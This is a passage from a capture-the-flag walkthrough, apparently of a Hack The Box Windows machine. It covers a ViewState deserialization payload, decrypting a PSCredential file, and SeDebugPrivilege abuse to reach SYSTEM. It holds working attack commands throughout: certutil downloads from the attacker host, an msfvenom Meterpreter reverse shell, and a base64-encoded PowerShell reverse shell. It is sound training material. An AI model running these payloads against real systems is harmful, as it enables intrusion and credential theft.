vDtppxuJ1KFGdCeB1kxw%2BkDj8gtFBbcQNd5c%2F3GceYEKmh%2FrxayqRD8QCcd6c3DNiAhLx62ofu0TWPHQk9Y8pi0VOwImH4hU8ZWn8j8DJ83efdegXTHyLGMSYoUv5F8yEP8TqTyRAigBBTcjyk2jbQZyVGY1Y3o0xidLlHaKUyfVrqbTzS1x71kX3%2BAUcb0AvOwYXKFKi2AsyjiZXgncFYLGF6TTci9xL0zFvpeHMCp4Yu6YQYGo69oqdzTHxLZ0Foyy1TuWK9Ld42dAIq1%2FMsqaGNsY63Sm7NT9%2B4Dr3uJ26%2FoXczZAHVzLqQ%2F9T9D28jpQkXhrgM0EqBGj3L%2Be0GkHf5eJD9yIMZwz494aMcsPkcm44DiKsygiYLY95bLsnzYUfK9pyfRWVRggFHtvBaiGCpQpcFEsxKnxpSI%2F3irZRoSVthGi3OYTVkwGIuBEA16wnV12EDc2n907BkpE5X3zIGyMG5%2F%2BnKA4ZNTDHoSb0bkbiAqNMl%2Bs9oxlTiL5RX88ZhWU3YvqmQu4cxD8PuePPvmKned1uJRXT6AH22EeYDdOt1dKlWBNuX2O1CS5HLiK1fppPOSTB9tMZLurggArqZre39LMyoS%2F%2F%2FTT2nOqlrKeS4hwb0sXELvDvzLq9sfpO8IFe2RE7qXEgbPe9ivP%2Bqf%2BirCad88GaDoAV06fA%2FxvSlzrzYg3Zu%2BhoHye3BmS77Tknl1a0bSyV2hDIhFgwh3nreWrMaB0TNQwHq2gRLeMeogcz%2FfF5UGhodcrROFS9w2u%2Bo08vnlbtFXTjy3h15WgvT0l60vk%2F6P9COW%2BYfvsEBzhdOHU12cXAtQGUPW%2Bqah7PaQJ4ulEnZiThCuOz51mvWOfbm%2B6DxD%2Fo3YOlj9iSsgbnmV2a8nxVXHM0IPNwWmCiVt7jCvgbj0j%2FAUlgjIOFYia6zgeKe7RDuIj6f5c9ORKH%2FMwWPsKQgXX0ZYd0ZM7npGQ%2BKOpEG9G5OKjopjc5abGIrWdjNyO4O1zFuY0aGEUxQLtDSPCUKz89nHdlU9WodRts%2BV0OdwiRjcjOI7r4pmImgBcYMya76cCDWsG5uu0QS2MX%2FPS%2BJfAx4mUE8Ss%2BWWYqyE5%2FzK7alioYzRKp7vayqtqTWd5TohLQQwYAGi%2Fx9uPZeGrpeQIHIWyblfsiQUr2qBcgoNasCeU8mPXMOCy2Q77VIs29uERqov%2BnxeHAUvczDdRcrXflfaPX8tZ00lrh471giY0SQmFsIWPy59%2FtFT%2BDRSAQQSWxBUzWem%2FWJn7QzhK%2B2aHXRFfb%2BqOwRjGJbVY5Sp6%2FJios7MyjTO7zUYJKwaVOPprzdzdsqo7Har92onOUautxAwyj3k6sJIdwItiLEkukn5kIiW5YgGQWwKbbop1o2eiuo1tnqgTIjRfBLkAEx1IDL2NOHk0v7x47s3TwUUfFb5R%2BAuYp2NYXR1zitLsAm6rgba6eEY%2FMtMI8Bm6smbCoe7Dn2TYxp6ki%2B9C3NUya0HMqBqKfnz8V8kMpaq62gu7bdBh55P%2F%2FTLMxA6L0JQ1LI6%2FcLIf8PfKdzEAIZ%2BZNEfupPBrEIEqIFmrh3Fz9R%2BTV42%2Fr3KoSto0GnP%2FgVuUnSe%2FwqzNd6un0WcVEr7kHjpuWsr5HuXBprnImm%2BZs%2B053%2BT7DV%2BceCWf4VBzvIpgPchfhPOECKWAvEfTAIh6ckNzeHu0y3ZC0zqM%2FZtqpv2xyMtHk%2B%2BuH4YRaatdTiFG1%2FIzdacZlrrCA2MIFXNn2nb8oNeFcIkoT7S7dJelBphtjzRaAeynI4qjxj0GM3q3BzrsorGGk3v%2BXF4%2BpU7potP%2FtfYZ62aQdhmixB4FenRfIMeS9YVIr3nimajLUzXi%2FWkn%2BIW95O5vqi9DYeV0AjlqMC4M1aZYhfi5B4DmSYZFmiujQzSeIWgGTJWqdaa6YV2m0QJtU054KSYt4uIAazIjVZqT9Pxxk22AxGs1PpB544LPk9O3g5gsaN2iLLZ%2FgGDEVQzalHcxzUdgqH%2B%2FSaZ6FRImEt2lSHxdtQCDHNIwDgFjRv2dyra8hWcCpWUw%2BHtz0LS%2BdjIgGEFVumCHr9larc0nHCU6WY%2BWq5ZnWrYbhOFef1KV6%2BjN79Gj0z9PJ3wUEgMMnOBxAtnjirWjPOINM8zGnizT1cZ7%2Br%2B3kQ73XeRNezKUkonkT84F6E0KNiNp%2FpFSldmMlzGP2F3kj%2FMsBSJnRBVj8sMcBR5KxckibhSIrvnMBAMjiTftXQtUQd2FHIhKhkIT2zhJrBIAbb38O0Ry06lBinEABkEiNCk2i3b%2BcMMcXLRDq53q8w7QtaiQjxESEOYni3mz62U8kSNE4Hmz7otwCON%2BtRiRkCCPtd%2FQAP%2FYBmM9ifhSo45Ox8%2BkAcCXsJ14I13CIGTN4D%2Fxbi2OE%2FQDJuCtcKQrl%2F9AptQ6kzQYwGDgCePKakIabNU9h3rnMVdjD5Pgg0dfI5NUXvnaZm8lQH%2B8cTqDL%2BzRDRDur8%2FsFf6czDuZlaqHmZ7Erv4IilQYLG9oFLs%2Fj0kwQHQeKhIiBuLdnpv8ntJPT1b7vS7UPgbVi2IEWuYuxWORcak1SYnamWwffcyVbcw4p7e84ZkmKYSTHrYIxU3R45ALVJezkwG5eKJl8O2D7JY%2BDHMdcy6uc3TnWYr5t5LzLlbqdTzchWLH8LK%2BuGFuZlLXepB2F96vn8GPchZld5bhlCwHT1F2BEK3qgnRBo3CMRI7l%2BlzRIaNMezDm9mJsAuEfmuZyFUsEkOoSw2Rj%2BTfWTy%2Ft2ISXT3CD6WYe1fXQ%3D%3D

On updating my __VIEWSTATE and submitting the request, there’s a shell at nc:

oxdf@hacky$ sudo rlwrap -cAr nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.251 49671

PS C:\windows\system32\inetsrv> whoami
pov\sfitz

Shell as alaading

Enumeration

sfitz Info

whoami /all gives a ton of information about sfitz:

PS C:\> whoami /all

USER INFORMATION
----------------

User Name SID
========= =============================================
pov\sfitz S-1-5-21-2506154456-4081221362-271687478-1000


GROUP INFORMATION
-----------------

Group Name                             Type             SID                                                           Attributes                              
====================================== ================ ============================================================= ==================================================
Everyone                               Well-known group S-1-1-0                                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545                                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH                     Well-known group S-1-5-3                                                       Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15                                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113                                                     Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS                      Alias            S-1-5-32-568                                                  Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                                       Mandatory group, Enabled by default, Enabled group
IIS APPPOOL\dev                        Well-known group S-1-5-82-781516728-2844361489-696272565-2378874797-2530480757 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10                                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192                                                                                           


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

It’s interesting that the user is in an IIS APPPOOL group, but doesn’t have SeImpersonatePrivilege. Nothing exciting here.

Home Directories

There are a few user home directories on Pov:

PS C:\users>  ls

    Directory: C:\users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/26/2023   4:31 PM                .NET v4.5
d-----       10/26/2023   4:31 PM                .NET v4.5 Classic
d-----       10/26/2023   4:21 PM                Administrator
d-----       10/26/2023   4:57 PM                alaading
d-r---       10/26/2023   2:02 PM                Public
d-----       12/25/2023   2:24 PM                sfitz

The interesting ones are alaading and Administrator.

sfitz’s Desktop is empty, but there’s a file in Documents:

PS C:\users\sfitz\documents> ls

    Directory: C:\users\sfitz\documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       12/25/2023   2:26 PM           1838 connection.xml

It is a PSCredential file for alaading:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
    </Props>
  </Obj>
</Objs>

Shell

Decrypt Password

The PowerShell credential is encrypted with key material on the box it was generated on. That means I can’t exfil it and decrypt it on my machine without a bunch of extra work.

Instead, I’ll use the Import-CliXml PowerShell commandlet to read the file and get the plaintext password:

PS C:\users\sfitz\documents> $cred = Import-CliXml -Path connection.xml
PS C:\users\sfitz\documents> $cred.GetNetworkCredential().Password
f8gQ8fynP44ek1m3

RunasCs

I’ll download a copy of RunasCs.exe and host it with a Python webserver on my host. Then I can upload it to Pov:

PS C:\programdata> certutil -urlcache -f http://10.10.14.6/RunasCs.exe RunasCs.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.
PS C:\programdata> ls

    Directory: C:\programdata

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d---s-       10/26/2023   2:01 PM                Microsoft
d-----       10/26/2023   2:04 PM                Package Cache
d-----       10/26/2023   3:07 PM                regid.1991-06.com.microsoft
d-----        9/15/2018  12:19 AM                SoftwareDistribution
d-----        11/5/2022  12:03 PM                ssh
d-----        9/15/2018  12:19 AM                USOPrivate
d-----        11/5/2022  12:03 PM                USOShared
d-----       10/26/2023   2:04 PM                VMware
-a----         6/3/2024   4:40 PM          51712 RunasCs.exe

I’ll run it:

PS C:\programdata> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.14.6:444

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-84cf4$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 1804 created in background.

At listening nc:

oxdf@hacky$ rlwrap -cAr nc -lnvp 444
Listening on 0.0.0.0 444
Connection received on 10.10.11.251 49674
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
pov\alaading

I’ll switch to PowerShell:

C:\Windows\system32> powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>

Shell as Administrator

Enumeration

alaading has the SeDebugPrivilege enabled:

PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Enabled 
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Interesting, before I switched to PowerShell from cmd, it was there, but disabled:

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Exploit SeDebug

Background

This 2008 blog post on devblogs.microsoft.com has the title “If you grant somebody SeDebugPrivilege, you gave away the farm”. Basically, because a user with that privilege can debug any process (including those running as system), they can inject code into those processes and run whatever they want as that user.

I’ll show two ways to abuse this privilege:

flowchart TD;
    A[SeDebugPrivilege]-->D(<a href='#via-psgetsysps1'>psgetsys.ps1</a>);
    B-->C[Shell as System];
    A-->B(<a href='#via-meterpreter-migrate'>Meterpreter Migrate</a>);
    D-->C;

linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;

via Meterpreter Migrate

One of the coolest features of Meterpreter is that it allows migrating from one process into another. Typically, this can only be done in processes running as the same user, unless Meterpreter is running as an administrator or System. However, the SeDebugPrivilege is enough to allow this as well.

I’ll start by making a payload to get a Meterpreter shell on Pov:

oxdf@hacky$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=9001 -f exe -o rev.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: rev.exe

This makes rev.exe. I’ll serve it with Python and upload it to programdata.

I’ll start msf-console and use the exploit/multi/handler exploit, setting the payload, lhost, and lport:

oxdf@hacky$ msfconsole
...[snip]...
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/handler) > set LPORT 9001
LPORT => 9001

Now I’ll run it:

msf6 exploit(multi/handler) > run

On Pov, I’ll run rev.exe:

PS C:\ProgramData> .\rev.exe

At Metasploit:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.6:9001
[*] Sending stage (201798 bytes) to 10.10.11.251
[*] Meterpreter session 1 opened (10.10.14.6:9001 -> 10.10.11.251:49690) at 2024-06-03 17:05:50 -0400

meterpreter > getuid
Server username: POV\alaading

I need the PID of a process running as SYSTEM, like winlogon.exe:

meterpreter > ps winlogon
Filtering on 'winlogon'

Process List
============

 PID  PPID  Name          Arch  Session  User                 Path
 ---  ----  ----          ----  -------  ----                 ----
 548  468   winlogon.exe  x64   1        NT AUTHORITY\SYSTEM  C:\Windows\System32\winlogon.exe

Now I’ll just migrate into it:

meterpreter > migrate 548
[*] Migrating from 5036 to 548...

[*] Migration completed successfully. 

And I’m system:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM  

I can drop to a shell and get root.txt:

meterpreter > shell
Process 4080 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd \users\administrator\desktop
C:\Users\Administrator\Desktop>type root.txt
114c9d4f************************

via psgetsys.ps1

The HackTricks section on SeDebugPrivilege links to three exploits that will get a shell as system:

image-20240603200721733

The last one is a PowerShell script, and therefore seems like the easiest place to start.

I’ll host it with a Python webserver and upload it and import it to my current session:

PS C:\programdata> certutil -urlcache -f http://10.10.14.6/psgetsys.ps1 psgetsys.ps1
****  Online  ****
CertUtil: -URLCache command completed successfully.
PS C:\programdata> . .\psgetsys.ps1

I need the PID of a process running as System (548 for winlogon.exe from above should be fine). According to documentation, I should be able to run something like:

PS C:\programdata> ImpersonateFromParentPid -ppid 548 -command "c:\windows\system32\cmd.exe" -cmdargs "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwAOQAwADAAMgApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
[+] Got Handle for ppid: 548
[+] Updated proc attribute list
[+] Starting c:\windows\system32\cmd.exe /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwAOQAwADAAMgApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=...True - pid: 724 - Last error: 122

Error 122 is ERROR_INSUFFICIENT_BUFFER, “The data area passed to a system call is too small.”. Shoutout to Deus who pointed out that I can also check this error code with certutil:

PS C:\ProgramData> certutil -error 122
0x7a (WIN32/HTTP: 122 ERROR_INSUFFICIENT_BUFFER) -- 122 (122)
Error message text: The data area passed to a system call is too small.
CertUtil: -error command completed successfully.

So does that mean my command is too long? I can try a shorter one:

PS C:\ProgramData> ImpersonateFromParentPid -ppid 548 -command "c:\windows\system32\cmd.exe" -cmdargs "/c ping 10.10.14.6"
[+] Got Handle for ppid: 548
[+] Updated proc attribute list
[+] Starting c:\windows\system32\cmd.exe /c ping 10.10.14.6...True - pid: 3940 - Last error: 122

Same error, and no ICMP packets at my host. Some testing and playing around with this with IppSec suggests that it’s something about the shell process I have here.

I’ll upload Chisel to the box and use it to create a tunnel from 5985 on my host to 5985 on Pov. Then I can connect over Evil-WinRM:

oxdf@hacky$ evil-winrm -i 127.0.0.1 -u alaading -p f8gQ8fynP44ek1m3

Evil-WinRM shell v3.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\alaading\Documents>

From here, the same command as above outputs nothing:

*Evil-WinRM* PS C:\programdata> . .\psgetsys.ps1
*Evil-WinRM* PS C:\programdata> ImpersonateFromParentPid -ppid 548 -command "c:\windows\system32\cmd.exe" -cmdargs "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwAOQAwADAAMgApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="

But this time I get a shell at nc:

oxdf@hacky$ rlwrap -cAr nc -lnvp 9002
Listening on 0.0.0.0 9002
Connection received on 10.10.11.251 49696

PS C:\Windows\system32> whoami
nt authority\system